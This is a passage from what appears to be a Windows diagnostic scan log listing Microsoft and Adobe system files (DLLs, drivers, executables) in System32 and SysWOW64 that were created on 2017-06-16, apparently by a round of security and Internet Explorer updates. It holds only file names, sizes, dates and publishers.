2017-06-16 16:55 - 2017-06-02 10:09 - 00197120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00104448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00059392 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00034816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 09:58 - 00427520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 09:58 - 00164352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00086528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00009728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msshooks.dll
2017-06-16 16:55 - 2017-05-21 06:28 - 00154856 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2017-06-16 16:55 - 2017-05-21 06:28 - 00095464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
2017-06-16 16:55 - 2017-05-21 06:24 - 01460736 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 01212928 _____ (Microsoft Corporation) C:\Windows\system32\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00730624 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00690688 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00463872 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00345600 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00312320 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00210432 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00190464 _____ (Microsoft Corporation) C:\Windows\system32\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00135680 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00123904 _____ (Microsoft Corporation) C:\Windows\system32\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00043520 _____ (Microsoft Corporation) C:\Windows\system32\cryptbase.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028672 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00690688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00666112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00553472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00342528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00261120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00254464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00141312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00082944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
2017-06-16 16:55 - 2017-05-21 05:55 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:48 - 00291328 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00159744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00129536 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-06-16 16:55 - 2017-05-21 05:47 - 00030720 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
2017-06-16 16:55 - 2017-05-21 05:46 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:42 - 00036352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cryptbase.dll
2017-06-16 16:55 - 2017-05-16 20:19 - 00394448 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-06-16 16:55 - 2017-05-16 19:35 - 00346320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-06-16 16:55 - 2017-05-14 22:46 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 22:46 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
2017-06-16 16:55 - 2017-05-14 22:28 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00417792 _____ (Microsoft Corporation) C:\Windows\system32\html.iec
2017-06-16 16:55 - 2017-05-14 22:27 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 22:26 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-06-16 16:55 - 2017-05-14 22:24 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-06-16 16:55 - 2017-05-14 22:17 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 22:16 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
2017-06-16 16:55 - 2017-05-14 22:12 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 22:10 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-06-16 16:55 - 2017-05-14 22:01 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
2017-06-16 16:55 - 2017-05-14 21:57 - 00489984 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 21:48 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 21:47 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-06-16 16:55 - 2017-05-14 21:46 - 00107520 _____ (Microsoft Corporation) C:\Windows\system32\inseng.dll
2017-06-16 16:55 - 2017-05-14 21:42 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
2017-06-16 16:55 - 2017-05-14 21:41 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 21:38 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 21:37 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 21:36 - 00152064 _____ (Microsoft Corporation) C:\Windows\system32\occache.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\html.iec
2017-06-16 16:55 - 2017-05-14 21:22 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 21:21 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 21:20 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-06-16 16:55 - 2017-05-14 21:19 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 21:18 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 21:17 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 21:16 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-06-16 16:55 - 2017-05-14 21:15 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 21:14 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
2017-06-16 16:55 - 2017-05-14 21:12 - 00476160 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
2017-06-16 16:55 - 2017-05-14 21:11 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 21:10 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-06-16 16:55 - 2017-05-14 21:10 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 21:02 - 00416256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 20:57 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-06-16 16:55 - 2017-05-14 20:57 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 20:56 - 00091136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inseng.dll
2017-06-16 16:55 - 2017-05-14 20:53 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
2017-06-16 16:55 - 2017-05-14 20:52 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 20:50 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 20:49 - 00130048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\occache.dll
2017-06-16 16:55 - 2017-05-14 20:42 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-06-16 16:55 - 2017-05-14 20:40 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 20:39 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 20:38 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 20:37 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:27 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-06-16 16:55 - 2017-05-12 20:27 - 00631176 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00706792 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00382696 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:24 - 01732864 _____ (Microsoft Corporation) C:\Windows\system32\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 01163264 _____ (Microsoft Corporation) C:\Windows\system32\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00880640 _____ (Microsoft Corporation) C:\Windows\system32\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00503808 _____ (Microsoft Corporation) C:\Windows\system32\srcore.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00419840 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00405504 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00362496 _____ (Microsoft Corporation) C:\Windows\system32\wow64win.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00215552 _____ (Microsoft Corporation) C:\Windows\system32\winsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00100864 _____ (Microsoft Corporation) C:\Windows\system32\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00063488 _____ (Microsoft Corporation) C:\Windows\system32\setbcdlocale.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00059904 _____ (Microsoft Corporation) C:\Windows\system32\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00050176 _____ (Microsoft Corporation) C:\Windows\system32\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00046080 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00044032 _____ (Microsoft Corporation) C:\Windows\system32\csrsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00041472 _____ (Microsoft Corporation) C:\Windows\system32\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00034816 _____ (Microsoft Corporation) C:\Windows\system32\appidsvc.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00016384 _____ (Microsoft Corporation) C:\Windows\system32\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00013312 _____ (Microsoft Corporation) C:\Windows\system32\wow64cpu.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006656 _____ (Microsoft Corporation) C:\Windows\system32\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006144 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00005120 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:07 - 00308456 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:04 - 01314112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 01114112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00644096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00629760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\usp10.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00313344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00275456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00070656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00050688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00043008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00010240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00006656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wow32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:55 - 00148480 _____ (Microsoft Corporation) C:\Windows\system32\appidpolicyconverter.exe
2017-06-16 16:55 - 2017-05-12 19:54 - 00062464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\appid.sys
2017-06-16 16:55 - 2017-05-12 19:54 - 00017920 _____ (Microsoft Corporation) C:\Windows\system32\appidcertstorecheck.exe
2017-06-16 16:55 - 2017-05-12 19:51 - 00338432 _____ (Microsoft Corporation) C:\Windows\system32\conhost.exe
2017-06-16 16:55 - 2017-05-12 19:50 - 00296960 _____ (Microsoft Corporation) C:\Windows\system32\rstrui.exe
2017-06-16 16:55 - 2017-05-12 19:46 - 00112640 _____ (Microsoft Corporation) C:\Windows\system32\smss.exe
2017-06-16 16:55 - 2017-05-12 19:43 - 00034304 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\setup16.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00014336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00007680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\instnm.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\user.exe
2017-06-16 16:55 - 2017-05-12 19:40 - 00006144 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 18:25 - 01251328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01648128 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
